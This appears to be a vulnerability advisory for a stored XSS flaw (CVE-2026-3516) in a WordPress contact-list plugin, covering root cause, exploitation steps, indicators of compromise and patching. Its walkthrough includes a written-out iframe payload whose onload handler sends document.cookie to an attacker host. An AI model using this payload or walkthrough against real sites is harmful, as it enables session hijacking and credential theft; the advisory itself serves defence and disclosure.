CVE-2026-3516: 
WordPress vulnerability analysis and mitigation

CVE-2026-3516 is a Stored Cross-Site Scripting (XSS) vulnerability in the Contact List – Online Staff Directory & Address Book plugin for WordPress, affecting all versions up to and including 3.0.18. The flaw resides in the handling of the _cl_map_iframe parameter, which allows authenticated attackers with Contributor-level access or higher to inject arbitrary JavaScript that executes in the browsers of users visiting affected pages. It was published on March 21, 2026, and assigned a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, EUVD).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation – Cross-Site Scripting), stemming from insufficient input sanitization and missing output escaping. Specifically, the saveCustomFields() function in class-contact-list-custom-fields.php uses a regex to extract <iframe> tags from user-supplied input but does not validate or sanitize iframe attributes, allowing event handlers such as onload to be embedded. The extracted iframe HTML is then stored via WordPress's update_post_meta() and later rendered on the front-end in class-cl-public-card.php without any escaping or wp_kses filtering, meaning the malicious payload executes in any visitor's browser (Wordfence, WordPress Trac).

Successful exploitation allows an authenticated attacker (Contributor role or above) to persistently inject malicious JavaScript into WordPress pages containing contact list entries. Any site visitor who loads an injected page will have the script execute in their browser, potentially enabling session cookie theft, credential harvesting, defacement, or redirection to malicious sites. The scope is changed (S:C in CVSS), meaning the impact extends beyond the vulnerable component to the browsers of all users visiting affected pages (Wordfence).

A proof-of-concept exploit has been published on GitHub (GitHub PoC) and referenced on Sploitus, indicating public weaponization. The EPSS score is approximately 0.042% (0.000420), suggesting low but non-zero automated exploitation probability. No CISA KEV catalog listing or confirmed in-the-wild threat actor attribution has been identified at this time. Exploitation requires only Contributor-level authentication, which lowers the barrier significantly on sites with open contributor registration (Wordfence, GitHub PoC).

1. Reconnaissance: Identify WordPress sites running the Contact List plugin version ≤ 3.0.18 using tools like WPScan or by checking /wp-content/plugins/contact-list/readme.txt for version disclosure.
2. Obtain Contributor access: Register or compromise a Contributor-level (or higher) account on the target WordPress site.
3. Create or edit a contact entry: Navigate to the WordPress admin panel and create or edit a contact list entry that includes the Google Maps iframe custom field (_cl_map_iframe).
4. Inject malicious payload: In the _cl_map_iframe field, submit a crafted <iframe> tag with an injected event handler, e.g., <iframe src="https://maps.google.com/" onload="fetch('https://attacker.com/steal?c='+document.cookie)"></iframe>. The regex in saveCustomFields() extracts the iframe tag including the malicious onload attribute.
5. Payload stored: The unsanitized iframe HTML is saved to the WordPress database via update_post_meta().
6. Victim triggers execution: Any user (including administrators) who visits the page rendering the injected contact card will have the onload JavaScript execute in their browser, enabling cookie theft, session hijacking, or further attacks (Wordfence, WordPress Trac).

• Database/Post Meta: Presence of <iframe> tags containing event handlers (e.g., onload, onerror) in the _cl_map_iframe post meta field within the WordPress wp_postmeta table.
• Network: Outbound HTTP requests from victim browsers to unexpected external domains shortly after loading contact list pages; unusual beacon or data exfiltration requests (e.g., to attacker-controlled domains with cookie or session data in query parameters).
• Logs: WordPress access logs showing POST requests to contact list admin endpoints (e.g., wp-admin/post.php) from Contributor-level accounts containing encoded iframe payloads in the request body.
• Browser/Client: JavaScript errors or unexpected network requests visible in browser developer tools when visiting contact list pages; unexpected redirects or pop-ups on pages containing contact cards.

WordPress site administrators should update the Contact List plugin to a version beyond 3.0.18 that includes the fix introduced in changeset 3486445, which adds proper sanitization and wp_kses filtering to the iframe field (WordPress Trac Changeset). As an interim workaround, restrict Contributor-level user registration and audit existing Contributor accounts for unauthorized contact entries. Additionally, deploying a Web Application Firewall (WAF) rule to block iframe-based XSS payloads in POST parameters can reduce risk until patching is complete.

The vulnerability was disclosed by Wordfence, which published the advisory and technical details. No significant broader media coverage or notable researcher commentary beyond the initial disclosure has been identified at this time.